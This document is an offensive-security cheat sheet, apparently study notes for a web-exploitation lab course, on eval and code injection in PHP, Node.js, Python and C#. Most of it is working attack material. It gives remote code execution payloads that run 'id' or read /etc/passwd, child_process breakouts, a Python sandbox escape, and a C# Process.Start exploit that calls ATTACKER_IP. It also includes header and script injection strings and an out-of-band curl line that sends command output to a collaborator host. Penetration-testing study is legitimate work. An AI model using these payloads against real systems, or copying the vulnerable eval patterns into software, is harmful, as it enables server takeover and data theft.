Eval Injection / Code Injection
Eval injection across PHP, JavaScript (Node.js), Python, and C#: detection via source review, dangerous function identification, payload construction, privilege escalation through eval, HTTP response injection, and Burp whitebox workflow.
What is Eval Injection
Eval injection occurs when user-controlled input is passed to an eval() function or equivalent code execution primitive without sanitisation. Unlike command injection (which reaches the OS shell), eval injection executes in the language’s own runtime — often with access to the application’s full internal state, database connections, and memory.
Dangerous Functions — Whitebox Grep
# PHP
grep -rn "eval\s*(\|assert\s*(\|preg_replace.*\/e\|create_function\|exec\s*(\|shell_exec\|passthru\|system\s*(\|popen\s*(" --include="*.php" .
# JavaScript (Node.js)
grep -rn "eval(\|Function(\|setTimeout.*string\|setInterval.*string\|vm\.runInThisContext\|child_process\|exec(" --include="*.js" .
# Python
grep -rn "eval(\|exec(\|subprocess\.\|os\.system\|os\.popen\|__import__\|compile(" --include="*.py" .
# C# / .NET
grep -rn "Process\.Start\|Invoke\|CSharpCodeProvider\|Assembly\.Load" --include="*.cs" .
Detection — Black-Box
Step 1 — Identify eval-like inputs
Look for fields that accept expressions, templates, formulas, or code:
- Math/formula calculators
- Template engines with user-controlled templates
- Search with dynamic query building
- Admin panels with eval-style debug modes
- URL parameters passed to dynamic
require()/import()
Step 2 — Inject a math expression
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
If 49 appears in the response → evaluation confirmed.
Step 3 — Inject a harmless function call
// JS context
'; console.log(process.version); var x='
# Python context
'+str(__import__('os').getpid())+'
PHP Eval Injection
Vulnerable code
$input = $_GET['expr'];
eval('$result = ' . $input . ';');
echo $result;
Detection payload
?expr=1+1
→ returns 2 (math evaluated)
RCE payload
?expr=system('id')
?expr=shell_exec('whoami')
?expr=passthru('cat /etc/passwd')
Quote context breakout
If input is inside a string:
eval('echo "' . $input . '";');
Inject:
?input="; system('id'); echo "
PHP preg_replace with /e modifier (deprecated, PHP < 7.0)
preg_replace('/' . $pattern . '/e', $replacement, $subject);
Inject into $pattern:
pattern=.*/e&replacement=system('id')
JavaScript / Node.js Eval Injection
Vulnerable code
const result = eval("var i = '" + userInput + "'");
Breakout payload
userInput = '; require('child_process').execSync('id').toString(); var x='
Result:
var i = ''; require('child_process').execSync('id').toString(); var x=''
Function constructor bypass (when eval is blocked)
const f = new Function('return ' + userInput);
f();
Inject:
(function(){return require('child_process').execSync('id').toString()})()
setTimeout / setInterval string execution
setTimeout(userInput, 0);
Inject:
require('child_process').execSync('id')
Python Eval / Exec Injection
Vulnerable code
result = eval(user_input)
Read a file
open('/etc/passwd').read()
Import OS and execute commands
__import__('os').system('id')
__import__('subprocess').check_output('id',shell=True).decode()
exec() injection (for statements, not expressions)
exec(user_input)
Payload:
import os; os.system('id')
Sandbox escape (Python restricted eval)
If __builtins__ is restricted:
# Via __class__.__mro__ chain to get to subprocess
''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['__builtins__']['__import__']('os').system('id')
Find the right subclass index:
for i, c in enumerate(''.__class__.__mro__[1].__subclasses__()):
if 'subprocess' in str(c):
print(i, c)
C# / .NET Code Execution
Process.Start injection
Process.Start(userInput);
Inject:
cmd.exe /c whoami > C:\output.txt
CSharpCodeProvider (dynamic compilation)
If the app compiles and runs C# code from user input, inject a Process.Start:
using System.Diagnostics;
public class Exploit {
public static void Main() {
Process.Start("cmd.exe", "/c ping ATTACKER_IP");
}
}
Privilege Escalation via Eval
CWEE-specific: role-based eval access
A common pattern in CWEE labs: eval() is accessible only to admin role users, but a logic bug or type juggling lets a low-priv user reach it.
- Identify the eval endpoint (usually a debug/admin panel).
- Achieve the required role via another vulnerability (type juggling, JWT tamper, session puzzling).
- Send eval payload through the privileged endpoint.
In Burp Repeater:
POST /admin/evaluate HTTP/1.1
Cookie: PHPSESSID=ADMIN_SESSION_OR_BYPASSED
expr=system('cat+/flag.txt')
HTTP Response Injection via Eval
If eval output is reflected into HTTP headers:
expr=\r\nSet-Cookie: admin=true\r\n
Or into the HTML body:
expr=<script>alert(document.cookie)</script>
Burp Suite workflow
- Proxy — capture all requests with formula/expression/query parameters.
- Repeater — inject
7*7,1+1,'test',sleep(5)to detect eval. - For whitebox: grep source for
eval(,exec(,Function(and trace input to those calls. - Intruder — fuzz context escape characters:
',",;,},),`. - Collaborator — confirm blind eval via
curl http://COLLABORATOR/$(id)(bash) or equivalent OOB payload.